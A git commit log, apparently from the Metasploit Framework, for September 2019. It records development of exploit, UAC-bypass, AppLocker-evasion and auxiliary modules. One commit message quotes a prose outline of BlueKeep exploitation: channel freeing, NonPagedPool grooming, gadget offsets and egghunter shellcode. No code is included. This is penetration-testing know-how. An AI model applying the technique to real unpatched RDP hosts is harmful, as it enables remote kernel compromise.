William Vu aa2f7d378a Create method for kernel shellcode size 2019-09-30 14:18:41 -05:00
William Vu 8190e7067a Calculate kernel shellcode size 2019-09-30 14:18:41 -05:00
William Vu 05b83ff5da Calculate max payload size automagically 2019-09-30 14:18:41 -05:00
William Vu 8cae04f194 Use constant for maximum shellcode size 2019-09-30 14:18:41 -05:00
William Vu fb1bb0fd2f Don't use NOPs because Peter would be sad 2019-09-30 14:18:41 -05:00
William Vu 530bf9bc0c Finish RCE with Jacob's help 2019-09-30 14:18:41 -05:00
William Vu 3a5a05f3a9 Use recently enhanced Rex::Text.xor 2019-09-30 14:18:41 -05:00
William Vu 90cb0e039f Add DOUBLEPULSAR payload execution 2019-09-30 14:18:41 -05:00
h00die 0288649fc2 rename juniper variables 2019-09-30 15:03:38 -04:00
dwelch-r7 30691d1c18 Add ranking 2019-09-30 12:20:38 +01:00
h00die cbc7d1e6aa add headings, run date, tab to space 2019-09-28 12:03:51 -04:00
h00die c188d179ed fix atutor bugs 2019-09-26 20:37:10 -04:00
h00die 0d143a1ce3 smb capture docs spelling 2019-09-26 19:06:02 -04:00
h00die 82f0daeb68 smb capture docs finished 2019-09-26 19:02:57 -04:00
Metasploit 0a41599ce4 Bump version of framework to 5.0.51 2019-09-26 12:12:14 -05:00
Metasploit dd13820cac automatic module_metadata_base.json update 2019-09-26 10:16:31 -05:00
dwelch-r7 84cc85a099 Land #12316 prefix fingerprint by rhost and rport 2019-09-26 16:04:53 +01:00
dwelch-r7 f6eaeaac71 Merge remote-tracking branch 'upstream/pr/12316' into HEAD 2019-09-26 15:20:45 +01:00
dwelch-r7 7395297da4 Add rank 2019-09-26 13:32:36 +01:00
dwelch-r7 1425d180b9 Add module to exploit file sharing wizard 2019-09-26 13:30:52 +01:00
RAMELLA Sébastien 28bbcd5402 fix. linux stager and add. documentation 2019-09-26 16:26:44 +04:00
Metasploit a63fd26eb5 automatic module_metadata_base.json update 2019-09-26 03:59:11 -05:00
Brent Cook 279930a88a Land #12318, Add mazda_ic_mover module documentation 2019-09-26 03:50:47 -05:00
Brent Cook 2227903585 Land #12313, Add mazda_ic_mover module that moves the instrument cluster 2019-09-26 03:50:29 -05:00
Metasploit 8f049f5c23 automatic module_metadata_base.json update 2019-09-26 03:45:09 -05:00
RAMELLA Sébastien dfd97a7518 add. stager and fix. generic command 2019-09-26 12:40:03 +04:00
Brent Cook c86511722a Land #12258, Update gpp.rb to display GPO name 2019-09-26 03:36:28 -05:00
Wei Chen 6a80bf2cf5 Should ensure, not in exception 2019-09-25 22:23:41 -05:00
h00die 24021d1b12 smb capture docs round 2 2019-09-25 22:53:45 -04:00
h00die 74c765c6ac smb capture docs round 1 2019-09-25 22:50:18 -04:00
h00die d6a7da9490 fix atutor nil 2019-09-25 22:02:55 -04:00
h00die ca99bd4191 fix nil check 2019-09-25 21:24:14 -04:00
Wei Chen 8dc238e687 Add TotaJS CMS Code Injection in Widget Creation 2019-09-25 16:54:44 -05:00
Nicholas Starke 73569fef38 Removing Invalid CVE Identifier
CVE Identifier was invalid, I removed that and made a
few other minor formatting / procedural changes, including
doing the check for the options before sending any network traffic.
2019-09-25 16:52:50 -05:00
Nicholas Starke 90cd20b381 Minor Formatting Changes
I forgot to run msftidy before pushing.  This commit
address two formatting issues and adds a place holder for
CVE, even though I don't think this is a CVE candidate.
2019-09-25 16:21:27 -05:00
RAMELLA Sébastien 82457a4049 add. exploit module vbulletin 5.x unauth RCE 2019-09-26 01:11:22 +04:00
Nicholas Starke f77497883b Adding Chrome Debugger Gather Auxiliary Module
This module can retrieve a file from a remote host that is
running a chrome session in headless mode on all network interfaces.
It can also make a web request from the remote host and send back the
full contents.
2019-09-25 15:58:34 -05:00
h00die 4d05287412 land #12361 spell multiple correctly 2019-09-25 15:41:57 -04:00
William Vu 21df0ff4bb Fix "mutliple" typo in CONTRIBUTING.md 2019-09-25 11:14:08 -05:00
Metasploit 496504657c automatic module_metadata_base.json update 2019-09-25 07:48:50 -05:00
Brent Cook 026f9cbd96 Land #12354, Remove unused targets from aux and post modules 2019-09-25 07:40:06 -05:00
Brent Cook c53346d500 Land #12353, Make BlueKeep scanner less chatty by default 2019-09-25 07:37:55 -05:00
h00die a9aa5c4577 land #12358 rspec overlapping variables fix 2019-09-25 05:28:30 -04:00
Brent Cook fd66829cbb remove unneeded change in workspace variable 2019-09-25 03:47:14 -05:00
Brent Cook 27f5720055 use unique Dummy*Class per test 2019-09-25 03:46:11 -05:00
Metasploit a65347dcf7 automatic module_metadata_base.json update 2019-09-24 09:59:10 -05:00
Shelby Pace 4710322cd7 Land #11762, add sosreport privesc 2019-09-24 09:48:57 -05:00
William Vu 2ce3e4f1c4 Make BlueKeep scanner's output less chatty 2019-09-24 08:49:27 -05:00
dwelch-r7 285244e877 Remove commented out code 2019-09-24 13:51:54 +01:00
Metasploit 4d2c5dbd88 automatic module_metadata_base.json update 2019-09-24 06:27:05 -05:00
dwelch-r7 a587668b9e Remove Default targets from aux modules 2019-09-24 12:15:43 +01:00
Brent Cook 75c58d39a9 Land #12314, Clarify file: handling with the RHOSTS parameter 2019-09-24 06:10:29 -05:00
Brent Cook 0ed09cc9bf Land #11927, Add Brocade post module and config parser 2019-09-24 05:59:21 -05:00
Brent Cook 2d1e7ffa2f Land #12349, Add Proxy/header opts to windows/python stageless 2019-09-24 05:54:51 -05:00
Metasploit 4100972530 automatic module_metadata_base.json update 2019-09-23 11:32:55 -05:00
dwelch-r7 fe2b3f8f29 Remove targets from post modules 2019-09-23 17:26:36 +01:00
Brent Cook b668e1fa5b Land #12283, Add exploit module for CVE-2019-0708 / BlueKeep 2019-09-23 11:22:36 -05:00
Brent Cook c0be631bf0 tweak groombase for vmware 15.1 2019-09-23 11:01:04 -05:00
dwelch-r7 134765dc40 Remove targets from aux modules 2019-09-23 15:29:38 +01:00
dwelch-r7 4125224af8 Merge pull request #1 from rapid7/master
Pull in latest from master
2019-09-23 12:06:45 +01:00
Brent Cook 5b36b6ed71 add docs, simplify some areas 2019-09-23 04:50:54 -05:00
OJ 3c0cb29a7c Add Proxy/header opts to windows/python stageless 2019-09-23 08:45:43 +10:00
Brent Cook 0715b7688a use client_random, add notes 2019-09-22 17:20:58 -05:00
Brent Cook 0d34de7d2f support sending license requests 2019-09-22 16:47:08 -05:00
Metasploit 5b8c97c4f7 automatic module_metadata_base.json update 2019-09-20 16:26:44 -05:00
h00die 5e52f47c17 land #12279 resolve_hosts now databases results 2019-09-20 17:18:07 -04:00
Brent Cook 963489e196 add further license PDU parsing 2019-09-20 08:15:07 -05:00
dzflack 7ea19c7d26 fix msftidy error 2019-09-20 20:27:30 +08:00
dzflack e1ab657e55 add warning to the beginning of documentation 2019-09-20 19:41:55 +08:00
Clément Notin 3044fdf517 RHOSTS: expand description 2019-09-20 09:56:11 +02:00
Metasploit 4431476ec4 automatic module_metadata_base.json update 2019-09-19 15:04:09 -05:00
Brent Cook 47a3204e34 Land #12295, Update to modbusclient to use modbus read functions 2 and 4 2019-09-19 14:47:52 -05:00
Metasploit 6d1ee46bba Bump version of framework to 5.0.50 2019-09-19 12:04:38 -05:00
Brent Cook acb351ac44 add a few more vmware targets (emphasising the fragility here) 2019-09-19 07:02:02 -05:00
Brent Cook 3174af03e4 add initial license packet handler 2019-09-19 06:09:41 -05:00
Brent Cook 67ee46ec03 add additional target, set default target GROOMSIZE to 100M (thanks aconite33) 2019-09-19 06:05:08 -05:00
Brent Cook 8138e2f185 remove email 2019-09-19 06:05:08 -05:00
Brent Cook 458dc59594 move kernel shellcode comments to the correct place 2019-09-19 06:05:08 -05:00
Brent Cook d2da56bd90 use specified RDP_CLIENT_NAME 2019-09-19 06:05:08 -05:00
Brent Cook d80ad89160 resolve msftidy error 2019-09-19 06:05:08 -05:00
Brent Cook c405fba6b1 name module docs properly 2019-09-19 06:05:08 -05:00
Spencer McIntyre 0a05ee6577 Use the rdp connect/disconnect methods for WinXP 2019-09-19 06:05:08 -05:00
Brent Cook 7e4a99689a remove separate PoC and shellcode files, replaced with new integrated module 2019-09-19 06:05:08 -05:00
Brent Cook 51c0c24c20 add and update documentation from original PoC 2019-09-19 06:05:08 -05:00
Brent Cook 5b91fa8c88 add initial module documentation stub 2019-09-19 06:05:08 -05:00
Brent Cook fb729b5f11 add bare metal target 2019-09-19 06:05:08 -05:00
Brent Cook 02ba21a0a0 remove WinVer 2019-09-19 06:05:08 -05:00
Brent Cook 4677e0f389 include internal OS version in target names 2019-09-19 06:05:08 -05:00
Brent Cook fec749d3b2 perform fingerprinting in scanner 2019-09-19 06:05:08 -05:00
William Vu de34bc484e Ensure rdp_disconnect in rdp_scanner 2019-09-19 06:05:08 -05:00
William Vu cdd3378acc Clean up BlueKeep exploit 2019-09-19 06:05:08 -05:00
Brent Cook e32409b379 merge Win 7/2008 targets 2019-09-19 06:05:08 -05:00
Brent Cook ab631044af adjust rdp fingerprint code to match self.rdp_sock changes in exploit mixin 2019-09-19 06:05:08 -05:00
Brent Cook f2c475454a tag targets for Virtualbox, add Windows 2008R2 2019-09-19 06:05:08 -05:00
Brent Cook 15ce66cb02 adjust to ManualRanking 2019-09-19 06:05:08 -05:00
Brent Cook 35e3704526 add current caveats and notes from zerosum0x0 2019-09-19 06:05:08 -05:00
Brent Cook e243e1a50d add a more likely arch with the default fingerprint target 2019-09-19 06:05:08 -05:00
Brent Cook f3a9af2ea8 rename for consistency with scanner module 2019-09-19 06:05:08 -05:00
Brent Cook 855281b0ac add auto-target by default, only scan and show a user message for now 2019-09-19 06:05:08 -05:00
Brent Cook b860cafddf remove 'COMPACT' mode since it's not needed here 2019-09-19 06:05:08 -05:00
Brent Cook 49cb6204e5 explicit short jump no longer needed with relative address fixes 2019-09-19 06:05:08 -05:00
Brent Cook 559901865e add PR ref 2019-09-19 06:05:08 -05:00
Brent Cook 9e321dc30e move hack into fixup code 2019-09-19 06:05:08 -05:00
Brent Cook 9150ab4e1a add pre/post processor phase to address metasm limits
This adds a pre/post processor phase that allows specifying relative
label offsets when loading effective addresses from metasm-generated
code.
2019-09-19 06:05:08 -05:00
Brent Cook 6522866071 specify short jump opcodes explicitly 2019-09-19 06:05:08 -05:00
OJ f479ed2d73 Small refactors, comments and tidying up 2019-09-19 06:05:08 -05:00
William Vu 725bff5e2d Add CheckScanner and ForceExploit 2019-09-19 06:05:08 -05:00
Brent Cook 49762084f2 minor cleanup of debug code and remove some fixed encodings (still need a couple) 2019-09-19 06:05:08 -05:00
Brent Cook a529866e1a first working metasm shellcode 2019-09-19 06:05:08 -05:00
Brent Cook 6225c5c31f skip payload encoding, be a bit more self-documenting 2019-09-19 06:05:08 -05:00
Brent Cook 4edf91d0b2 add debug writes (to be removed later) 2019-09-19 06:05:08 -05:00
Brent Cook 121e337e13 fix incorrect bytes in kernel shellcode 2019-09-19 06:05:08 -05:00
OJ c76e773b8f Another attempt to get bluekeep working
For some reason the existing kernel payload doesn't work with the
exploit as it currently stands, which is very odd given that everything
else seems to be in order.

Hoping to get some help from the rest of the MSF folks as right now
I don't think I can trust the tools that I'm using.
2019-09-19 06:05:08 -05:00
OJ 8412ff319a Fix disconnect PDU message and start work on payloads 2019-09-19 06:05:08 -05:00
OJ edcc423eea Lots more RDP mixin changes, and first pass of ruby exploit
This code is at the point where we SHOULD see a crash (given that the
payloads in use for kernel/user are both just As and Bs (deliberate at
this point).

Unforunately the exploit does not result in a crash. Things just keep
on going! I've looked at the difference in the traffic across the two
different exploits (py and rb) and what's clear is that the mixin is
doing a lot more work at the start.

Also, the mixin generates packets of smaller size in the way that it
encodes data (ie. it doesn't always use 2 bytes for a short value, it'll
use 1 instead if only 1 is required).

Pretty sure that the size issues aren't the problem, I think there's
something else in play. I'm at the point where diving into the RDP stuff
even more isn't inspiring so I'm hoping that opening this up to collab
will help us move forward.
2019-09-19 06:05:08 -05:00
OJ 1d6e319ac2 Refactor of RDP mixin to make it more configurable
Slowly moving away from a huge hard-coded blob of inflexible bytes
towards a more data-driven approach that allows configuration of various
elements of the packets that are generated.
2019-09-19 06:05:08 -05:00
OJ eb9088a588 Refactor RDP mixin to hide socket details
When dealing with the RDP mixin it makes more sense to not expose
TCP-level things, instead it's better to talk RDP. This changeset makes
it so that consumers of the RDP mixin talk RDP only. They can access the
socket through the `rdp_socket` member if required, but the changes made
here mean they don't have to. Ultimately, this new member should be
`private` instead of `protected`, but I'm leaving it like this for now
in case it is required down the track.

I've also made the assumption that all RDP connects want TCP_NODELAY
set. This might be wrong, but I don't think it is.

From here, users can call `rdp_connect` and `rdp_disconnect` to manage
connectivity to the RDP endpoint. The `rdp_connect` function does not
register the TCP client socket as the global `sock` member on the TCP
module instance, this is to prevent the mixin from clashing with other
users of the TCP client in a given module.
2019-09-19 06:04:58 -05:00
Brent Cook b9cb6d8820 Allow specifying TLS version via 'SSLVersion' opt 2019-09-19 06:03:17 -05:00
William Vu 9e235edd88 chmod +x so it loads as an external module 2019-09-19 06:02:22 -05:00
Tod Beardsley 5ae1c8ef49 Payload shellcode for Bluekeep from zerosum
Not sure where these should go, adjust to taste.
2019-09-19 06:02:22 -05:00
Tod Beardsley 6b4e067c0e Add rdp_bluekeep.py and needs work
From zerosum0x0:

Exploitation and Caveats:
1. You register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally.
2. Full RDP handshake, I like to wait for RDPDR handshake too (code in the .py)
3. You free MS_T120 with the DisconnectProviderIndication message to MS_T120.
4. RDP has chunked messages, so we use this to groom.
   a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120.
   b. However, on 7+, MS_T120 will not work and you have to use RDPSND.
       i. RDPSND only works when HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0
       ii. This registry key is not a default setting for server 2008 R2. SHITTY ISSUE
5. Use chunked grooming to fit new data in the freed channel, account for the allocation header size (like 0x38 I think?). At offset 0x100? is where the "call [rax]" gadget will get its pointer from.
   a. The NonPagedPool (NPP) starts at a fixed address on XP-7
       i. Hot-swap memory is another SHITTY ISSUE. With certain VMWare and Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP start. This can be anywhere from 100 mb to gigabytes of offset before the NPP start.
   b. Set offset 0x100 to NPPStart+SizeOfGroomInMB
   c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need [NPPStart+SizeOfGroomInMB+8...payload]... because "call [rax]" is an indirect call
   d. We are limited to 0x400 payloads by channel chunk max size. My current shellcode is a twin shellcode with eggfinders. I spam the kernel payload and user payload, and if user payload is called first it will egghunt for the kernel payload.
6. After channel hole is filled and the NPP is spammed up with shellcode, trigger the free by closing the socket.
TODO:
* You can use the scanner methodology to detect x86/x64, but I'm still not sure how to detect OS, other than XP nominally will not use SSL and 7 will.
* The whole thing needs to be swapped to the Ruby version. Tom Sellers client is nicer and works for XP whereas this python client will not (when I wrote this module it was still in progress)
* Write the XP/2003 portions grooming MS_T120.
* Can we detect if RDPSND grooming is working or not?
* Any channels besides RDPSND/MS_T120 work for the grooming? (I've gone through about 10 books on NT RDP and reversed enough to doubt it)

https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming MS_T120 on XP... should be same process as the RDPSND
2019-09-19 06:02:21 -05:00
Metasploit 0e9a2d13ac automatic module_metadata_base.json update 2019-09-18 22:12:28 -05:00
Brent Cook 4af0731f8c Land #12320, Add correct CVE for shopware module 2019-09-18 22:04:12 -05:00
James Lee fc69bfcc6c Merge branch 'h00die-egypt_resolve_hosts' into resolve_hosts_save_names 2019-09-18 16:49:56 -05:00
Metasploit ce8e85d573 automatic module_metadata_base.json update 2019-09-18 15:08:40 -05:00
Adam Cammack a8da66e6ee Land #12343, Fix ps1 and powershell transform 2019-09-18 14:59:25 -05:00
Adam Cammack 2716687f0d Bump rex-text to 0.2.24 2019-09-18 14:58:21 -05:00
James Lee 440c82b3e2 Fix broken ps1 and powershell transform 2019-09-18 12:20:16 -05:00
hkerma 98c9654d19 created a 'docs' directory in /tools. Added a tool to find missing documentations and/or modules 2019-09-18 16:09:53 +02:00
sinn3r a386b2d503 Land #12176 - Add evasion module applocker_evasion_regasm_regsvcs
Add evasion module applocker_evasion_regasm_regsvcs
2019-09-17 10:20:56 -05:00
Metasploit 18f21bb3a7 Bump version of framework to 5.0.49 2019-09-16 09:21:03 -05:00
RageLtMan 21dd5f438d Address some of @bcoles comments 2019-09-15 01:14:04 -04:00
Tim W 4d9780f070 Land #12239, fix search path separator 2019-09-13 17:08:57 +08:00
Jay Turla b879a888f8 Indent everything in super to 2 spaces 2019-09-13 09:32:21 +08:00
Clément Notin d85297c556 jboss_vulnscan: report the URL ("app") concerned by message 2019-09-13 01:04:28 +02:00
Metasploit de1bf2e715 automatic module_metadata_base.json update 2019-09-12 17:49:21 -05:00
Wei Chen 97fbfa3a9f Land #12154, Add evasion module applocker_evasion_presentationhost 2019-09-12 17:41:01 -05:00
todb-r7 a9a2ce2f6a Add correct CVE for shopware module
In PR #11828, the module author requested, and got, a new CVE for this
issue. The module should reflect that.
2019-09-12 16:09:32 -05:00
Clément Notin b8a393ea89 jboss_vulnscan: prefix fingerprint by 'fingerprint: ' 2019-09-12 22:57:57 +02:00
Metasploit f48a065d6d Bump version of framework to 5.0.48 2019-09-12 12:05:18 -05:00
Jay Turla 6771dd4c16 Update mazda_ic_mover.md 2019-09-13 00:11:38 +08:00
Pearce Barry 580f4f93bc Land #12308, move bigdecimal fix to separate file
include for specs
2019-09-12 09:32:08 -05:00
Metasploit c62cb1691c automatic module_metadata_base.json update 2019-09-12 07:55:14 -05:00
Shelby Pace e21b25b20f Land #12302, add zip slip exploit 2019-09-12 07:45:51 -05:00
Shelby Pace 644988750e change permission on payload 2019-09-12 07:43:54 -05:00
Jay Turla f0ca2fb2e5 Create a documentation for mazda_ic_mover module 2019-09-12 17:40:23 +08:00
Jay Turla 5fa9c5e21a Update mazda_ic_mover.rb
Changed ```0x10``` to ```0x01```
2019-09-12 12:49:45 +08:00
Metasploit 469f848b22 automatic module_metadata_base.json update 2019-09-11 16:06:43 -05:00
Shelby Pace 408d01cef4 Land #12276, add OpenEMR auxiliary module 2019-09-11 15:58:01 -05:00
Shelby Pace 8bfdaf6ab7 change metadata indentation 2019-09-11 15:56:46 -05:00
Brent Cook 3a4887cb3a Land #12315, update code climate banners 2019-09-11 13:37:31 -05:00
Clément Notin 88bdb981ad jboss_vulnscan: prefix fingerprint by 'rhost' and 'rport' 2019-09-11 19:54:32 +02:00
Jeffrey Martin c088ec9ee8 update code climate banners 2019-09-11 12:48:57 -05:00
Clément Notin 2ccfbbe8f8 RHOSTS: fix syntax in doc examples 2019-09-11 19:22:37 +02:00
Clément Notin ecb5eec969 RHOSTS: test for accept both "file://<path>" and "file:<path>" syntax 2019-09-11 19:04:53 +02:00
Metasploit c2790d44f6 automatic module_metadata_base.json update 2019-09-11 11:54:31 -05:00
sinn3r cfeaca6de8 Land #12310, Add CVE info for jboss_vulnscan and jboss_status
jboss_vulnscan and jboss_status: add CVE information
2019-09-11 11:47:05 -05:00
Clément Notin 911d3c41cd RHOSTS: accept both "file://<path>" and "file:<path>" syntax 2019-09-11 18:45:59 +02:00
Jay Turla b3240a1819 Add mazda_ic_mover module that moves the instrument cluster
This module moves the needle of the accelorometer and speedometer of the Mazda 2 instrument cluster
2019-09-12 00:07:42 +08:00
Will Porter 3ed9fb0383 Fix a bug caused by writing python code in a ruby file. 2019-09-11 15:39:15 +00:00
Metasploit 3483881b19 automatic module_metadata_base.json update 2019-09-11 10:36:39 -05:00
Wei Chen a63357c460 Land #12177, Add evasion module applocker_evasion_workflow_compiler 2019-09-11 10:28:16 -05:00
Clément Notin b460dc113d jboss_vulnscan & status: add CVE ref 2019-09-11 14:05:21 +02:00
William Porter 11021e3bc1 Update the documentation to reflect recent changes. 2019-09-10 21:53:06 -04:00
William Porter 262e574fe2 Add the .csv extension to the loot file. 2019-09-10 21:32:03 -04:00
William Porter 7a8eb76a12 Use the same gsub pattern to create the ltype as is used by store_loot to sanitize characters. 2019-09-10 21:14:15 -04:00
Brent Cook e4992c6817 move bigdecimal fix to separate file, include for specs
This fixes some noisy warnings about bignum when running specs, making it easier to see the real problems.
2019-09-10 18:40:14 -05:00
bwatters-r7 6703e9b06b Land #11984, add meterpreter keyevent api for virtual key strokes
Merge branch 'land-11984' into upstream-master
2019-09-10 14:32:43 -05:00
Wei Chen 8fe1f9d172 Rephrase 2019-09-10 12:12:46 -05:00
William Porter 832d2e4300 Remove unneccesary comment. 2019-09-10 12:29:55 -04:00
Will Porter 3fc0467484 Update modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb
Remove unused path variable.

Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-10 12:27:48 -04:00
Will Porter f1f9597222 Update modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb
Use `normalize_uri` to construct the vulnerable URI.

Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-10 12:27:22 -04:00
Metasploit e66179a0e7 automatic module_metadata_base.json update 2019-09-10 11:24:33 -05:00
bwatters-r7 ee660d61ea Land #12275, Update payloads to 1.3.77
Merge branch 'land-12275' into upstream-master
2019-09-10 11:14:56 -05:00
Brent Cook 73eab2c34a Land #12286, RDP lib: lower SSL security level for compatibility with older implementations 2019-09-09 23:11:15 -05:00
Brent Cook 902ff4f573 Land #12301, fix a few issues using/building Docker images 2019-09-09 23:04:10 -05:00
Brent Cook f24c689d84 fix compatibility with --chown flag with COPY 2019-09-09 23:02:26 -05:00
Brent Cook d874f1899d update lock for unpinned gem 2019-09-09 22:52:54 -05:00
Wei Chen 2cd8125a40 Add zip skip 2019-09-09 12:00:53 -05:00
Wei Chen 5e65685167 Update documentation for zip slip 2019-09-09 12:00:05 -05:00
Matúš Bursa 9297809b41 fix permissions bug Gemfile.lock
There was an error while trying to write to /usr/src/metasploit-framework/Gemfile.lock. It is likely that you need to grant write permissions for that path.
2019-09-09 12:59:19 +02:00
Metasploit 0cbfaccc7d automatic module_metadata_base.json update 2019-09-08 00:09:39 -05:00
Brendan Coles aaad280e13 Land #12294, Fix References Array for bypassuac modules 2019-09-08 05:04:03 +00:00
AZSG a990191f99 Update modbusclient.rb 2019-09-07 23:54:43 -05:00
h00die 054a092eb2 fix references in bypassuac modules 2019-09-08 00:42:21 -04:00
h00die 78c4bfee95 add url for fodhelper 2019-09-08 00:33:16 -04:00
h00die f60e8a3dbd less indents 2019-09-08 00:11:11 -04:00
h00die ce5f8d8d2f add datastore option 2019-09-08 00:06:49 -04:00
h00die d6cfe021dc Land #12291 log errors on payload loading issues 2019-09-07 23:55:39 -04:00
h00die d25d8e77b8 12291 sempervictus words 2019-09-07 23:54:19 -04:00
Clément Notin 579ea56f3b RDP_TLS_SECURITY_LEVEL default value is 0 (less secure) 2019-09-07 18:39:59 +02:00
Clément Notin 49a991891c Add RDP_TLS_SECURITY_LEVEL advanced option 2019-09-07 17:19:59 +02:00
Brent Cook a985da9318 expand scope of errors caught to include all StandardErrors 2019-09-07 07:38:37 -04:00
Brent Cook 1d91e7f53c make payload generation failures at boot time non-fatal
Currently, if any payload fails to generate that has a dynamic size, it causes a Framework instance to throw an exception on start. This can happen for a number of reasons, and more often than not it is enviromental (files missing, Y2k38 bugs, etc.). Instead of failing entirely, catch the exception and log as an error, don't register the payload, but continue booting.
2019-09-07 07:21:40 -04:00
gkweb76 795e0ebeb5 Restore a "print" to "print_good"
Aesthetics modification
2019-09-07 09:02:04 +02:00
AZSG edcddf2736 Update modbusclient.rb 2019-09-06 22:40:31 -05:00
Clément Notin d4e2ac696a RDP lib: lower SSL security level for compatibility with stock Win7 2019-09-07 01:17:22 +02:00
Metasploit 9a6830c0ad automatic module_metadata_base.json update 2019-09-06 12:10:24 -05:00
bwatters-r7 25b56c410d Land #12189, Add module for LibreNMS CVE-2019-10669
Merge branch 'land-12189' into upstream-master
2019-09-06 12:01:09 -05:00
Metasploit 2ec2ecb969 automatic module_metadata_base.json update 2019-09-06 10:22:57 -05:00
Shelby Pace c4bd91f505 Land #12272, add October CMS file upload 2019-09-06 10:13:33 -05:00
Shelby Pace b0625012c4 add vulnerable software version 2019-09-06 10:12:08 -05:00
Shelby Pace 5f7c243b48 add filedropper, fix check, add to docs 2019-09-06 09:49:09 -05:00
Metasploit 788e3b4363 automatic module_metadata_base.json update 2019-09-06 09:33:59 -05:00
bwatters-r7 17acaf9720 Land #12226, fix #11574, add WSReset.exe UAC Bypass
Merge branch 'land-12226' into upstream-master
2019-09-06 09:19:24 -05:00
Touhid M Shaikh aaebec01a4 Update References
Added CVE and Blog link
2019-09-06 18:26:28 +05:30
bwatters-r7 e2815a997b Land #12251, Unify SSL cert generate interfaces
Merge branch 'land-12251' into upstream-master
2019-09-05 16:45:31 -05:00
gkweb76 a2d2475618 Fixed wrong previous commit 2019-09-05 22:12:33 +02:00
gkweb76 88d424cf3f Make the modification suggested by @acammack-r7
Directly insert the new value in the "table", instead of modifying the screen output manually. Simpler and cleaner, thanks @acammack-r7 !
2019-09-05 21:44:18 +02:00
Metasploit 22182d5c8d automatic module_metadata_base.json update 2019-09-05 13:25:28 -05:00
Touhid M Shaikh cf4c10783a Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-05 23:50:18 +05:30
Touhid M Shaikh 4b416bf530 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-05 23:48:43 +05:30
Touhid M Shaikh a7e205e252 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-05 23:48:32 +05:30
Touhid M Shaikh 0e4e7dd9d9 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-05 23:48:22 +05:30
Touhid M Shaikh bc1610ec46 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-05 23:48:14 +05:30
Tim W 9f03db4582 Land #12280, add WSReset.exe UAC bypass via registry 2019-09-06 02:14:54 +08:00
Tim W 1a717a5624 minor fixes 2019-09-06 02:11:06 +08:00
Metasploit ea6ab34c32 Bump version of framework to 5.0.47 2019-09-05 12:13:53 -05:00
bwatters-r7 20216ac81a Fix documentation to new module name 2019-09-05 12:08:12 -05:00
Tim W 5123fdbb5e s/pkexec_helper_ptrace/ptrace_traceme_pkexec_helper/g 2019-09-06 01:00:44 +08:00
bwatters-r7 a1f39e519f Move documentation 2019-09-05 11:57:51 -05:00
bwatters-r7 4e5e29fb52 Update documentation 2019-09-05 11:56:32 -05:00
Tim W cc9d9bb483 s/bypassuac_windows_store/bypassuac_windows_store_filesys/g 2019-09-06 00:52:13 +08:00
bwatters-r7 481c13ea0f Rubocop changes 2019-09-05 11:44:00 -05:00
bwatters-r7 cf3f6c90f8 Renamed file to make room for the other UAC bypass targeting the same exe 2019-09-05 11:35:10 -05:00
bwatters-r7 b876afa20f Fixed up the code before pushing it. 2019-09-05 11:33:05 -05:00
Metasploit 56b0d57548 automatic module_metadata_base.json update 2019-09-05 11:28:50 -05:00
Adam Cammack 598cf35e1e Land #12271, Don't mangle staged x86, x64 payloads 2019-09-05 11:18:45 -05:00
James Lee 56d81052e8 Save the data we just collected
Instead of just throwing it away after printing.
2019-09-05 09:47:04 -05:00
bwatters-r7 9281c0de12 Add some missing pieces to the UAC pypass? 2019-09-04 17:03:32 -05:00
Adam Cammack 2ee5ec97e4 Use smallest stager size
Since these stagers can shrink based on the expected size of the next
stage, do our best to anticipate a small size. This makes the cached
payload size consistent for now, though if the x64 mettle stager grows
past 128 bytes I think we'll see the stager start oscillating in size
again. If you run into that and are reading this, sorry :(
2019-09-04 16:06:44 -05:00
Adam Cammack 4d89dd83e3 Update payload cached size
For real this time?
2019-09-04 15:17:34 -05:00
Adam Cammack de554b315a Update cached size 2019-09-04 14:56:12 -05:00
Adam Cammack bb0f1b02ac Fully golf the x86 read size 2019-09-04 14:54:48 -05:00
Will Porter 106913f631 Correct csv string. 2019-09-04 17:43:34 +00:00
Touhid M Shaikh b9e702458d Update documentation/modules/exploit/multi/http/october_upload_bypass_exec.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 23:01:44 +05:30
Metasploit ccd6895365 automatic module_metadata_base.json update 2019-09-04 12:16:18 -05:00
William Porter 2cd93cc097 Update documentation and actually save loot as csv file. 2019-09-04 13:08:49 -04:00
Shelby Pace 490800f834 Land #11643, add Awind SNMP RCE 2019-09-04 12:06:36 -05:00
Shelby Pace 8dbb41ee5b remove extra line 2019-09-04 12:04:46 -05:00
Will Porter 1b9bb964b8 Adjust loot filename. 2019-09-04 16:56:28 +00:00
William Porter 0ee3324535 Use store_loot properly, check response.nil? before consuming body. 2019-09-04 12:21:59 -04:00
William Porter 50f5d80328 Fix code highlighting in documentation description. 2019-09-04 11:09:05 -04:00
Will Porter c433cd4007 Remove erroneous ? from URI path. 2019-09-04 15:04:56 +00:00
Will Porter 74647c314a Use Rex::Text.rand_text_alphanumeric and remove gsub as a weak excuse for encoding. 2019-09-04 07:53:36 +00:00
Touhid M Shaikh 71c1c07b0d fixed
fix EOF on 88 line
2019-09-04 13:08:26 +05:30
William Porter 5963bbd6f9 Remove broken include. 2019-09-04 03:30:13 -04:00
William Porter d0803e49be Make changes as suggested in the pull request reviews. 2019-09-04 03:18:58 -04:00
Touhid M Shaikh aeaf4232fe updated
typo, comments and check fixed
2019-09-04 12:46:31 +05:30
